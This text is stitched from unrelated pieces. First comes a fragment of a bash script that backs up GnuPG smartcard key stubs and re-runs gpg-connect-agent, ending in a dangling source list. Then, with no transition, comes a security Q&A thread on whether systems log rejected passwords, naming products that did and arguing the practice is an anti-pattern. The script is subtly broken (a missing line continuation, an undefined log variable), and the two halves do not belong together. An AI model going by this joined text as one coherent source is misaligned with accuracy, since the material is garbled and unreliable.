in /home/USER/bin/gpg-smartcard.sh:

keys=( \
  <ENCRYPTION>.key \
  <SIGNING>.key
  <AUTHENTICATION>.key \
  )
original=~/.gnupg/private-keys-v1.d
target=${original}/backup
mkdir -p ${target}
now=$(date +'%Y-%m-%d-%M:%S')
for i in "${keys[@]}"; do
  mv ${original}/$i ${target}/$i.bak.${now}
done;
sleep 1
# gpg --card-status will also work
# use 'gpg-connect' and then 'help' to find out the commands
gpg-connect-agent "scd serialno" "learn --force" /bye >> $log 2>&1

I have written a HOWTO for setting up your yubikey here

Sources:

using udev explained
using long running processes with udev
using at with udev
yubikey forum about gpg-connect-agent info
gpg documentation for scdaemon


Is it common practice to log rejected passwords? While selecting unique passwords for each purpose is a great idea, in practice this rarely happens. Therefore many select passwords from a personal pool of passwords that are easily remembered. When authenticating into systems that are used infrequently it is very probable that a number of passwords from such pool are tried sequentially. Alternatively, failed passwords are very close to the actual password in case of a typo.

Since almost nobody describes the password policy in effect, including how rejected passwords are handled, should one start assuming that these are collected in a database that is sold to the highest bidder?

Is there an implementation guidance? What usually happens with a candidate password when this is rejected? Are they being logged, immediately discarded or left to hang around until garbage collected? Are failed password handling procedures part of any audited controls? It seems that there are plenty of implementation requirements and recommendations regarding how valid passwords should be handled, but vague regarding rejected password values.

EDIT

I will try to list here the various implementations that log failed login security credentials in order to get a feel about how widespread this procedure is:

Content Management Systems:

Joomla via Login Failed Log plugin

  This Small Plug-in collect logs about each failed login attempt of your Joomla site’s administrator and sends an email about each of those to the super administrator of the site with the username, password, ip address and error.

KPlaylist v1.3 and v1.4 - a free PHP system that makes your music collection available via the Internet.

  is logging the usernames and passwords of failed login attempts in the apache error log

Drupal 5.x before version 5.19 and Drupal 6.x before version 6.13.

  When an anonymous user fails to login due to mistyping his username or password, and the page he is on contains a sortable table, the (incorrect) username and password are included in links on the table. If the user visits these links the password may then be leaked to external sites via the HTTP referrer.

Standalone software

Reporting Server included with Symantec Client Security 3.1 and SAV CE 10.1

  The administrator password for Symantec Reporting Server could be disclosed after a failed login attempt.

Linux:

OpenSSH via modified auth-passwd.c; using PAM via overloading pam_sm_authenticate function

EDIT #2

It seems that there is a consensus, and recording the failed passwords or PINS is regarded as a serious/major security risk, nevertheless as far as I know, the following standards provide no guidance, audited procedure or controls that specifically address this risk:

PCI-DSS: Passwords procedures addressed in 8.4. and 8.5.  (failed passwords are protected only during transmission; after validation not considered passwords, therefore not required to be protected)
FIPS140-2: Authentication addressed in 4.3 (life-cycle of failed authentication data only partially addressed)

Logging the value of a failed password attempt (cleartext or otherwise) seems like a security anti-pattern. I've never seen a web app that does this, and I'm not aware of any default system services such as SSH that do either. As pointed out by @tylerl below, most systems simply log meta-information about an access attempt (e.g. username, time, perhaps IP address, etc.).

Why This Should Be a Security Anti-Pattern

Offhand, I can think of three reasons why logging the value of a failed password attempt is a bad idea:

1. User Typos

It's extremely common for people to mistype a password by one or two characters. Examining a log file of failed attempts would make many of these easy to figure out, especially if you could contrast a sequence of failed attempts with a successful auth.

2. Guess-and-Check

Many people have two-or-three passwords they cycle through for everything. Consequently, when they forget which password they used on a given site, they just cycle through all of them until they find a match. This would make it trivial to hack their accounts on other sites.

3. Log Bloat

Storing failed passwords serves no useful purpose for the vast majority of authentication services in production today. While there may be some edge cases, for most people, storing this data is simply throwing away disk space.

On Relevant Legislation / Standards

I don't know of any standards (PCI, HIPAA, etc.) that specifically address procedures for storing failed login attempts, but I think that granted the above facts a good legal argument could be made for why the same standards that apply to storing passwords in general should also apply to failed-password attempts as well. In other words, you could make a legal argument that a failed-password is still categorically a password, and as such it is subject to the same standards.

While I'm certainly not a lawyer, I wouldn't want a judge to have to decide whether or not I was negligent or in violation of industry standards because failed passwords were stored in cleartext and consumers suffered the consequences. I don't think that would end with a favorable decision.

I agree with the OP that it might be useful for the various standards bodies to address this issue specifically (if they indeed haven't already).  To that end, my suggestion would be to create a compliance standard of not storing the value of failed password attempts at all.